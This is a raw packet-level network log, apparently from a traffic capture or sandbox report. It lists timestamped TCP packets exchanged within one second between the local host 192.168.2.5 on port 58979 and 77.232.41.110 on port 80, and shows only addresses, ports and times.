Jul 13, 2024 07:07:02.621861935 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.621861935 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.621881962 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.621900082 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.621913910 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.621948004 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.621980906 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.621999979 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.621999979 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.622014046 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.622036934 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.622046947 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.622081041 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.622117043 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.622128963 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.622128963 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.622149944 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.622181892 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.622196913 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.622215033 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.622246981 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.622258902 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.622258902 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.622278929 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.622312069 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.622327089 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.622327089 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.622345924 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.622378111 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.622392893 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.622392893 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.622415066 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.622428894 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.622447968 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.622483015 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.622515917 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.622534037 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.622534037 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.622549057 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.622582912 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.622600079 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.622616053 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.622648954 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.622667074 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.622667074 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.622680902 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.622699976 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.622713089 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.622747898 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.622761011 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.622761011 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.622781992 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.622798920 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.622818947 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.622850895 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.622884035 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.622916937 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.622930050 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.622930050 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.622948885 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.623043060 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.623064041 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.623084068 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.623117924 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.623151064 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.623166084 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.623166084 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.623184919 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.623197079 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.623218060 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.623250961 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.623270988 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.623270988 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.623286009 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.623313904 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.623359919 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.623500109 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.623533010 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.623565912 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.623569965 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.623599052 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.623606920 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.623608112 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.623631954 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.623663902 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.623668909 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.623668909 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.623696089 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.623728037 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.623747110 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.623761892 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.623794079 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.623826981 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.623843908 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.623843908 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.623859882 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.623877048 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.623894930 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.623943090 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.623944044 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.623960972 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.624082088 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.668569088 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.668646097 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.668683052 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.668710947 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.668715000 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.668749094 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.668766975 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.668766975 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.668802977 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.668837070 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.668849945 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.668849945 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.668886900 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.668920994 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.668937922 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.668937922 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.668953896 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.668989897 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.669022083 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.669039965 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.669054985 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.669137955 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.669142008 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.669176102 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.669193029 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.669193029 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.669209957 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.669243097 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.669280052 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.669286966 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.669286966 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.669433117 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.669441938 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.669476032 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.669508934 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.669543028 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.669564009 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.669564962 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.669575930 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.669609070 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.669642925 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.669675112 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.669691086 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.669691086 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.669708014 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.669727087 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.669740915 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.669776917 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.669785023 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.669785023 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.669846058 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.671117067 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.671191931 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.671221018 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.671227932 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.671262980 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.671297073 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.671320915 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.671320915 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.671366930 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.708123922 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.708180904 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.708213091 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.708312988 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.708331108 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.708364010 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.708400965 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.708424091 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.708432913 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.708467007 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.708477020 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.708515882 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.708528042 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.708561897 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.708597898 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.708600998 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.708617926 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.708633900 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.708652973 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.708666086 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.708715916 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.708715916 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.708719015 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.708753109 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.708803892 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.708827972 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.708837032 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.708870888 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.708885908 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.708904028 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.708920956 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.708936930 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.708971024 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.708986044 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.709002972 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.709052086 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.709054947 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.709086895 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.709104061 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.709104061 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.709122896 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.709141016 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.709156036 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.709188938 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.709222078 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.709230900 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.709254980 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.709286928 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.709300995 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.709300995 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.709322929 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.709374905 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.709486961 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.709518909 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.709552050 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.709568977 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.709583998 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.709619045 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.709635973 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.709635973 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.709651947 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.709675074 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.709685087 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.709702015 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.709716082 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.709749937 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.709783077 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.709794998 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.709794998 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.709815025 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.709867954 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.709903002 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.709908962 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.709908962 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.709935904 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.709971905 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.709988117 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.710004091 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.710036993 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.710036993 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.710038900 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.710071087 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.710104942 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.710122108 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.710138083 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.710171938 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.710192919 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.710205078 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.710216999 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.710237980 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.710280895 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.710280895 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.710383892 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.710417032 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.710442066 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.710448980 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.710481882 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.710513115 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.710532904 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.710545063 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.710577965 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.710603952 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.710604906 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.710608006 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.710632086 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.710642099 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.710664988 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.710675001 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.710697889 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.710707903 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.710740089 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.710741997 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.710776091 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.710798979 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.710884094 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.711009026 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.711041927 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.711074114 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.711112022 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.711112022 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.711112022 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.711112022 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.711144924 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.711177111 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.711215973 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.711215973 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.711241961 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.711245060 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.711258888 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.711352110 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.711385965 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.711419106 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.711435080 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.711435080 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.711453915 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.711487055 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.711519957 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.711520910 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.711564064 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.711590052 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.711633921 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.711633921 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.750441074 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.750531912 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.750566006 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.750600100 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.750633955 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.750647068 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.750647068 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.750647068 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.750668049 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.750701904 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.750718117 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.750735998 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.750767946 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.750802040 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.750812054 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.750812054 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.750834942 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.750870943 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.750904083 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.750936985 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.750940084 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.750973940 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.750983953 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.750983953 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.751282930 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.752547979 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.752619028 CEST	80	58979	77.232.41.110	192.168.2.5
Jul 13, 2024 07:07:02.752640009 CEST	58979	80	192.168.2.5	77.232.41.110
Jul 13, 2024 07:07:02.752654076 CEST	80	58979	77.232.41.110	192.168.2.5
